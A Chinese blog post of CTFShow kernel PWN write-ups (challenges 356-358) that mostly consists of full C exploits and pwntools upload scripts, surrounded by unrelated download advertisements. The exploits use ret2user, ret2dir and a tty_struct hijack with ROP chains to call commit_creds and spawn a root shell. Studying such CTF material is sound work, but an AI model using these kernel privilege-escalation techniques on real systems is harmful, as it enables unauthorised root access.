CTFShow PWN入门---Kernel PWN 356-360 [持续更新]

stb-translator-data-repository.zip - Web 版翻译者资料库项目源码 本项目是由 VB6/Qt 桌面版《翻译者资料库》移植而来的 Web 版本,采用 Spring Boot 3.3 + Thymeleaf + Bootstrap 5.3 + MySQL 8.0 技术栈,面向翻译与写作场景提供一站式资料管理底座。系统涵盖资料管家、分类词库、句库、文本处理器、中英对照制作、通用查找、数据备份恢复及旧库迁移等核心模块,完整继承桌面版的编号连续、引号规范化、查重、RTF 附件同步等关键业务规则。前端采用服务端渲染配合本地静态资源,支持离线使用;通过 run.bat 一键完成环境检查、建库、编译与启动,访问 http://localhost:8080 即可使用。 立即下载

PWN 356

本题和强网杯 2018的 qwb2018-core一模一样。
详细请看我之前的文章: Kernel PWN 入门(二)

exp:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred_addr;
size_t commit_creds_addr;

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(){
    if(getuid()==0){
        printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
        system("/bin/sh");
    }else{
        puts("[-] get root shell failed.");
        exit(-1);
    }
}

void get_root(){           //ret2user
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}


int show_read(int fd,size_t* addr){
    if(ioctl(fd,1719109787,addr)==-1){
        printf("[*]show_read failed");
        return -1;
    }
    return 0;

}

int set_off(int fd,int off){
    if(ioctl(fd,1719109788,off) == -1){
        printf("[*]show_read failed");
        return -1;
    }
    return 0;
}

int show_copy_func(int fd,unsigned long len){
     if(ioctl(fd,1719109786,len)==-1){
        printf("[*]show_read failed");
        return -1;
    }
    return 0;
}


unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}


int main(){
	save_status();
	//leak stack
    int fd = open("/proc/show",O_RDWR);
    int i = 0;
    size_t stack[16] = {0};
    size_t rop[0x50] = {0};

    set_off(fd,0x40);
    show_read(fd,stack);
    size_t canary = stack[0];
    printf("canary is ------------->: 0x%lx\n",canary);

    //leak addr
    size_t startup_64 = get_symbol_address("startup_64");
    unsigned long offset = startup_64-nokalsr_kernel_base;
    prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");
    commit_creds_addr = get_symbol_address("commit_creds");
    printf("offset is ==========>: %lx\n",offset);
    printf("prepare_kernel_cred_addr is ==========>: %lx\n",prepare_kernel_cred_addr);
    printf("commit_creds_addr is ==========>: %lx\n",commit_creds_addr);


    //rop
    size_t pop_rdi_ret = 0xffffffff81000b2f+offset;
    size_t swapgs_popfq_ret = 0xffffffff81a012da+offset;
    size_t iretq_ret = 0xffffffff81050ac2+offset;

    for(int j =0;j<10;j++){
        rop[i++] = 0;
    }
    rop[8] = canary;
    rop[i++] = (size_t)get_root;
    rop[i++] = swapgs_popfq_ret;
    rop[i++] = 0;
    rop[i++] = iretq_ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd,rop,0x100);
    show_copy_func(fd,0xffffffffffff0100);

	return 0;
}

在这里插入图片描述

打远程用的脚本:

from pwn import *
import base64
context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

p = remote("pwn.challenge.ctf.show", 28290)
#p = process('./run.sh')
try_count = 1
while True:
    p.sendline()
    p.recvuntil("/ $")

    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))

    for i in range(count):
        p.recvuntil("/ $")
    
    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit ")
    break

p.interactive()

在这里插入图片描述

PWN 357

本题和MINI-LCTF2022 - kgadget一样的原题
打 ret2dir
详细请看我的博客: kernel pwn 入门(四) ret2dir详细

EXP:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <signal.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred_addr=0xffffffff810c9540;
size_t commit_creds_addr=0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t pop_rdi = 0xffffffff8108c6f0;
size_t swapgs_pop_rbp = 0xffffffff81bb99af;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0+0x1b;
size_t pop_rsp = 0xffffffff811483d0;
size_t up_rsp = 0xffffffff81488561;    //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
size_t ret = 0xffffffff810001fc;
size_t target;
int fd;


void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(){
    if(getuid()==0){
        printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
        system("/bin/sh");
    }else{
        puts("[-] get root shell failed.");
        exit(-1);
    }
}

void get_root(){           //ret2user
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}



unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}

void copy_dir(){
    size_t* payload;
    unsigned int idx = 0;
    payload = mmap(NULL,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
    for(int i =0;i<(4096/8-11-0x30);i++){
        payload[idx++] = up_rsp;
    }
    for(int i = 0;i<0x30;i++){
        payload[idx++] = ret;
    }
    payload[idx++] = pop_rdi;
    payload[idx++] = init_cred;
    payload[idx++] = commit_creds_addr;
    payload[idx++] = swapgs_restore_regs_and_return_to_usermode;
    payload[idx++] = 0;
    payload[idx++] = 0;
    payload[idx++] = (size_t)get_shell;
    payload[idx++] = user_cs;
    payload[idx++] = user_rflags;
    payload[idx++] = user_sp;
    payload[idx++] = user_ss;


}


int main(){
	save_status();
    fd = open("/dev/ctfshow",O_RDWR);
	for(int i =0;i<0x3000;i++){
        copy_dir();
    }

    target = 0xFFFF888000000000 + 0x6000000;
     __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    pop_rsp;"
        "mov r8,    target;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   target;"  
        "mov rsi,   0x1bf52;"
        "mov rdi,   fd;"   
        "mov rax,   0x10;"
        "syscall"
        );



	return 0;
}

PWN 358

也是原题,详细请看kernel pwn 入门(三) ret2usr+bypass SMEP
EXP

#include "kernel_pwn.h"

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
int fd1;
int fd2;
int tty_fd;

int main()
{
	bind_core(0);
	save_status();
	fd1 = open("/dev/easydev",2);
	fd2 = open("/dev/easydev",2);
	if(fd1<0){
		err_exit("open failed....");
	}

	ioctl(fd1,0x10001,0x2e0);
	close(fd1);
	tty_fd = open("/dev/ptmx",2);

	size_t buf[0x100] = {0};
	size_t tty_oper[0x100] = {0};
	int idx = 0;
	read(fd2,buf,0x100);
	binary_dump((char*)buf,0x100,0);

	tty_oper[idx++] = 0;
	tty_oper[idx++] = 0xffffffff810d238d;
	tty_oper[idx++] = 0xffffffff81e48c60;
	tty_oper[idx++] = 0xffffffff810a1420;
	tty_oper[idx++] = 0xffffffff81063694;
	tty_oper[idx++] = 0;
	tty_oper[idx++] = 0xffffffff814e35ef;
	tty_oper[idx++] = (size_t)get_shell;
	tty_oper[idx++] = user_cs;
	tty_oper[idx++] = user_rflags;
	tty_oper[idx++] = user_sp;
	tty_oper[idx++] = user_ss;
	tty_oper[12] = 0xffffffff816b316a; //push rdx; adc byte ptr [rbx + 0x41], bl; pop rsp; pop r13; pop rbp; ret;


	buf[3] = (size_t)tty_oper;
	write(fd2,buf,0x100);
	binary_dump((char*)buf,0x100,0);

	ioctl(tty_fd,0,tty_oper-0x1);



	return 0;
}

上传脚本:

from pwn import *
import base64
context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

p = remote("pwn.challenge.ctf.show", 28304)

p.recvuntil(b"$ ")
p.sendline(b"ls")


count = 0
for i in range(0, len(exp), 0x200):
    p.recvuntil(b"/ $ ")
    p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
    count += 1
    log.info("count: " + str(count))


p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")


p.interactive()
利用LQR反馈控制器在不同风况下模拟风力涡轮转速控制的MATLAB.zip 1.版本:matlab2014a/2019b/2024b 2.附赠案例数据可直接运行。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。 立即下载

相关推荐

基于jdk21、jdk17、jdk8 + SpringCloud + SpringBoot 开发的微服务中后台快速开发平台,专注于多租户、开放平台解决方案,亦可作为普通项目的基础开发框架使用

基于jdk21、jdk17、jdk8 + SpringCloud + SpringBoot 开发的微服务中后台快速开发平台,专注于多租户(SaaS架构)、开放平台解决方案,亦可作为普通项目(非SaaS架构)的基础开发框架使用,目前已实现数据库隔离、字段隔离等租户隔离方案。

PWN入门分享

文章目录什么是PWN?PWN的前置技能可执行文件常见漏洞基础环境环境配置步骤栈溢出漏洞栈函数调用栈ELF文件文件保护机制CanaryNXPIE(ASLR)RELROlinux内存布局结语 pwn基础入门分享 什么是PWN? 以下内容摘自百度百科: ”Pwn”是一个黑客语法的俚语词,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了 。 ​ PWN也可译为二进制漏洞挖掘,在CTF比赛中,PWN题的目标是拿到flag,一般是在l

CK_0ff的博客 1万+

【无人机控制】基于MATLAB的侧风扰动抑制与风力模型构建:位置误差评估及风场感知路线规划系统设计 MATLAB 无人机侧风扰动抑制|风力模型与位置误差评估

内容概要:本文档围绕无人机在侧风扰动下的飞行稳定性问题,构建了一个基于MATLAB的完整仿真框架,涵盖风力建模、无人机运动仿真、侧风抑制控制、风场感知路线规划及位置误差评估。项目通过五种独立机制(平均风速、风向投影、阵风、湍流、定位噪声)生成具有物理意义的模拟数据,构建二维无人机运动模型,并设计包含比例-积分-前馈的复合控制器以抑制侧风引起的横向漂移。路线规划采用融合距离、风场与转弯代价的A*算法,实现抗扰路径选择。系统提供多层次误差评价体系,并支持结果可视化与模型部署,适用于低空飞行任务的抗风性能分析与优化。; 适合人群:具备MATLAB编程基础,从事无人机控制、路径规划或自动化系统开发的研发人员,尤其适合工作1-3年、希望深入理解环境扰动建模与控制系统协同设计的工程师。; 使用场景及目标:①研究侧风环境下无人机航迹跟踪的误差来源与抑制方法;②对比不同控制策略(如无补偿、积分补偿、前馈补偿)在侧风扰动中的性能差异;③实现融合风场代价的智能路径规划,提升任务安全性与能效;④基于模拟数据训练误差预测模型,支持数据驱动的飞行优化。; 阅读建议:此资源强调可复现性与工程实用性,建议读者结合代码逐模块运行,重点关注风场建模机制、控制律设计、路线代价函数构建及多指标评估方法。应通过调整参数(如风场权重、控制增益)观察系统响应变化,并利用提供的GUI界面进行交互式调试,以深化对各模块协同机制的理解。

两相交错并联Buck/Boost变换器仿真模型(Simulink仿真实现)

内容概要:本文提供了一个两相交错并联Buck/Boost变换器的Simulink仿真模型,旨在通过高精度建模实现对这类双向DC-DC变换器的动态特性分析与控制策略验证。该仿真模型详细构建了主电路拓扑结构,包含两个交错并联的Buck/Boost单元、电感、开关器件及滤波元件,并集成了闭环控制模块,如电压/电流双闭环PI控制器、PWM调制单元以及驱动逻辑,支持升压(Boost)与降压(Buck)两种工作模式的平滑切换。模型充分体现了交错并联技术在减小输入输出电流纹波、提升系统效率与功率密度方面的优势,适用于研究均流控制、软开关实现、动态响应优化等关键技术问题。; 适合人群:电力电子、电气工程及其自动化等相关专业的高校师生、科研人员以及从事新能源发电、电动汽车、储能系统等领域研发的工程技术人员。; 使用场景及目标:①掌握两相交错并联Buck/Boost变换器的工作原理与建模范式;②设计与验证针对此类变换器的先进控制算法(如均流控制、模式切换平滑控制);③分析系统在负载突变、输入电压波动等工况下的动态性能与稳定性;④为实际硬件开发提供前期理论仿真与参数优化依据。; 阅读建议:使用者应具备一定的电力电子变换器基础知识和Simulink/MATLAB操作能力,建议在学习过程中结合相关文献深入理解控制策略的设计逻辑,并尝试修改电路参数或控制算法以观察系统响应变化,从而加深对变换器动静态特性的理解。

高校技术转移办公室人员如何提升技术成果的推介效果和市场转化率?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

agent-browser 实战资源包:给 AI Agent 装上浏览器(open/snapshot/click 最小复现 + smoke 脚本 + 中文README)

agent-browser(Vercel Labs 开源、Apache-2.0)实战配套包。本包全部脚本与示例页为作者自写(MIT),不含浏览器二进制、不含任何账号密码。 内容包含: - 中文 README:环境要求、安装、open→snapshot→click 循环讲解、安全注意、许可声明 - scripts/smoke.sh:对本地 samples/ 示例页离线跑通「打开→快照→点击→核对→关闭」,附 out/smoke-output.txt 实测留档 - scripts/demo-csdn.sh:真实站点(优快云 首页)最小演示,ref 动态解析 - package.json + package-lock.json:锁定 agent-browser 0.41.2,便于复现(Node >= 24) 实测环境:agent-browser 0.41.2 / Chrome for Testing 157 / Linux x86_64 / Node 24。 Chrome 需使用者自行 agent-browser install 下载(约 190MB,本包不代分发)。 关联博客:https://blog.youkuaiyun.com/mtl1994/article/details/170340810

科技中介服务机构如何借助平台实现服务模式的数智化升级?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

两相交错并联BuckBoost变换器仿真模型(Simulink仿真实现)

内容概要:本文档系统整合了电力电子与新能源领域的Simulink仿真资源,聚焦于两相交错并联Buck-Boost变换器的双闭环PWM控制建模与仿真,同时涵盖多种典型拓扑结构,包括交错并联Boost、PFC功率因数校正、LLC谐振变换器、双向CLLC、DAB变换器、VIENNA整流器等。资源体系完整,包含仿真模型、设计报告、计算书、PPT说明文档及Matlab/Python代码,覆盖从基础建模到高级控制策略(如软开关技术、谐波抑制、状态估计、双闭环控制)的全流程。此外,还拓展至状态估计(卡尔曼滤波、粒子滤波)、智能优化算法、机器学习、信号处理、路径规划等多个交叉学科方向,构建了一个面向科研与工程应用的综合性技术平台。; 适合人群:电气工程、自动化、电力电子、新能源科学与工程等专业的硕士博士研究生、高校科研人员,以及从事新能源发电、智能电网、电动汽车、电力传动等领域技术研发的工程师。; 使用场景及目标:①开展电力电子变换器(如Buck-Boost、LLC、DAB、PFC等)的建模、控制与仿真研究;②支撑课程设计、学位论文、科研项目中的系统仿真与算法验证;③学习并复现高水平期刊(如EI)提出的先进控制策略,如基于KKT条件的最优控制、扩展移相调制、恒压恒流双环竞争控制等;④结合智能算法(如粒子群、秃鹰算法)进行微电网调度、储能配置、路径规划等多目标优化问题的研究与快速原型开发。; 阅读建议:建议依据提供的资源目录循序渐进地查阅资料,优先选取与自身研究方向高度契合的内容进行深入学习;应结合仿真模型与配套文档动手实践,调试参数并分析结果,充分利用百度网盘与公众号渠道获取完整资源,提升科研工作的系统性、规范性与创新性。

bili-comments-sidebar-1.7.0.zip

扩展升级到 1.7.0。 这次主要改动: 一条笔记可以插入多个时间戳。 一条笔记可以截取多张画面。 可以连续点击「截取画面」,不需要清空编辑器。 编辑器中会显示所有待保存截图。 每张截图都可以单独移除。 已保存笔记中的所有时间戳都可以点击跳转。 已保存笔记中的所有截图都可以点击放大查看。 截图会显示对应的时间。 Markdown 导出会包含一条笔记中的全部截图。 兼容之前版本只有单张图片的旧笔记。 编辑区域纵向高度从原来的约 100px 增加到 220px。 笔记中的时间戳支持类似: [00:32] 看这一段 01:25 很重要 1:23:45 安装方式仍然是: 解压 ZIP。 打开 chrome://extensions/。 开启「开发者模式」。 移除旧版扩展。 点击「加载已解压的扩展程序」。 选择解压后的文件夹。 建议用新版本打开旧笔记测试一下。旧笔记会自动兼容读取,新保存的笔记会使用多截图格式。

【基于Zernike矩的良性和恶性肿块的分类】应用于乳腺癌诊断中的快速相反权重学习规则(Matlab代码实现)

内容概要:本文详细介绍了基于Plecs软件构建的全桥LLC谐振变换器仿真模型,重点阐述了其在软开关技术条件下的建模方法与仿真分析过程。该模型能够精确模拟LLC谐振变换器在不同运行工况下的动态响应特性,涵盖开环与闭环控制策略的设计与实现,适用于研究变换器的效率优化、谐振参数匹配、系统稳定性及软开关性能等问题。相较于Simulink等传统仿真工具,Plecs在高频电力电子系统仿真中展现出更高的仿真速度与数值精度,尤其适合用于复杂电力电子拓扑的快速原型验证与优化设计。; 适合人群:具备扎实电力电子技术基础和仿真经验,从事高频功率变换器设计、新能源电源开发、电力电子系统研究的研发工程师及高校研究生。; 使用场景及目标:①深入理解全桥LLC谐振变换器的工作原理与软开关实现机制;②掌握在Plecs环境中搭建高精度、高效率电力电子系统仿真模型的方法;③开展变换器控制策略(如变频控制、闭环稳压)的仿真验证与参数优化;④为科研课题、学位论文或工业项目提供可靠的仿真平台与技术支持。; 阅读建议:建议结合相关电力电子教材与LLC变换器设计指南,深入掌握谐振参数计算与系统稳定性分析方法,并通过反复调试仿真模型,观察关键波形(如原边电流零点切换、副边整流波形),以全面理解软开关过程的物理本质与控制实现细节。

产业园区运营负责人如何提升园区内技术成果与企业需求的精准对接效率?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

【交替方向乘子法】ADMM和光谱近邻算子在高光谱宽带相位恢复中的应用于定量相位成像(Matlab代码实现)

内容概要:本文详细介绍了基于Plecs软件构建的全桥LLC谐振变换器仿真模型,旨在深入分析该高效、高功率密度DC-DC变换器的动态特性与性能优化。模型完整涵盖全桥逆变器、由谐振电感、谐振电容和励磁电感组成的谐振腔,以及中心抽头全波整流电路,能够精确模拟其在不同负载与输入电压条件下的软开关过程、谐振波形、电压增益及转换效率。用户可通过该模型设计并验证开环与闭环控制策略(如变频控制PFM),并系统研究谐振频率、品质因数、电感比等关键参数对系统性能的影响,为实际硬件开发提供坚实的理论依据和前期验证平台。; 适合人群:电力电子、电气工程及其自动化等相关专业的高校师生、从事开关电源研发的工程师以及对LLC谐振变换器设计与仿真有深入研究需求的科研人员。; 使用场景及目标:① 系统学习LLC谐振变换器的工作原理并掌握Plecs仿真建模方法;② 探究不同谐振参数对变换器电压增益曲线和转换效率的作用机制;③ 设计、实现并验证全桥LLC变换器的变频控制等闭环控制策略;④ 为实际工程项目进行预研分析和关键参数优化,缩短研发周期。; 阅读建议:建议使用者在动手仿真前,结合电力电子技术的经典教材或权威文献,深入理解LLC谐振变换器的基础理论与工作模态,然后通过在模型中主动调整各项参数进行仿真实验,仔细观察并记录关键电气波形(如开关管电压电流、谐振电流、输出电压)与性能指标(如效率、电压增益)的变化趋势,从而深刻掌握其内在工作机理与设计精髓。

国央企创新负责人如何利用数智平台提升核心技术攻关与成果转化协同能力?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

从 MuJoCo 仿真到重力补偿:具身智能机械臂 Day 1-2 全景拆解

从 MuJoCo 仿真到重力补偿:具身智能机械臂 Day 1-2 全景拆解

高校技术转移办公室人员如何高效完成技术成果的筛选与推介?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

里面有DoTweenPro

里面有DoTweenPro

状态估计【卡尔曼滤波kalman】UKF、EKF、粒子滤波PF学习与研究(Matlab代码实现)

内容概要:本文系统性地探讨了状态估计领域中的核心滤波技术,重点聚焦于无迹卡尔曼滤波(UKF)、扩展卡尔曼滤波(EKF)和粒子滤波(PF)的理论基础与Matlab代码实现方法。通过典型非线性系统仿真实例,深入剖析了三类滤波算法在处理非高斯噪声和强非线性动态环境下的状态估计性能差异与适用边界。文章不仅涵盖标准算法推导与实现,还结合扩展应用场景,如基于EKF的BP神经网络训练(EKF+BP)、利用PF进行轨迹估计等前沿融合方法,展示了滤波技术在智能系统中的拓展潜力。配套提供的Matlab代码具备良好的可读性和模块化结构,便于读者复现算法、开展对比实验并应用于实际科研项目中,是连接理论与工程实践的重要桥梁。; 适合人群:具备信号处理、控制理论或机器学习基础知识的研究生、科研人员及工程技术开发者,尤其适用于从事导航定位、机器人感知、电力系统状态监测、传感器融合等相关领域的专业人员; 使用场景及目标:① 掌握UKF、EKF与PF在非线性系统中的建模与状态估计实现流程;② 应用于无人机姿态估计、电池SOC估算、移动机器人轨迹跟踪、多源传感器数据融合等实际工程问题;③ 借助开源Matlab代码快速验证算法有效性,提升科研仿真效率与算法调试能力; 阅读建议:建议结合Matlab代码边学习边实践,重点关注不同滤波器在非线性强度、初始误差和噪声统计特性变化下的鲁棒性表现,同时可参考文中涉及的数据融合与状态估计相关资源,构建从理论分析、算法实现到系统优化的完整知识体系。

三电平维也纳VIENNA双闭环控制整流器仿真(Simulink仿真实现)

内容概要:本文档详细介绍了一个基于Simulink的三电平维也纳(VIENNA)整流器双闭环控制系统仿真模型,重点实现了电压外环与电流内环的双闭环PI控制策略,并结合空间矢量脉宽调制(SVPWM)技术实现中点电位平衡控制。该模型全面涵盖了三相三电平整流器的数学建模、坐标变换(如abc/dq)、控制器设计、调制算法实现及系统稳定性分析,能够有效验证整流器在高功率因数、低谐波畸变和稳定直流电压输出方面的优异性能,适用于电力电子系统中的高性能整流应用研究与教学演示。; 适合人群:电力电子、电气工程及其自动化等相关专业的研究生、高校教师、科研人员以及从事新能源变换器、工业电源系统开发的工程技术人员。; 使用场景及目标:①深入理解三电平VIENNA整流器的工作原理与拓扑优势;②掌握双闭环PI控制器在dq坐标系下的设计方法与参数整定技巧;③学习SVPWM调制技术在中点电位平衡控制中的实现机制;④支撑科研课题、学位论文仿真验证、课程设计或实际工程项目的技术预研。; 阅读建议:建议结合《电力电子技术》《现代控制理论》等教材同步学习,重点关注仿真模型中各模块的信号流向与控制逻辑,建议动手调整PI参数、负载条件及电网扰动,观察动态响应波形,深入掌握系统鲁棒性与控制精度之间的权衡关系。

上一篇: kernel pwn 入门(四) ret2dir详细
下一篇: Kernel Pwn 入门(五) 条件竞争 && userfaultfd利用
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值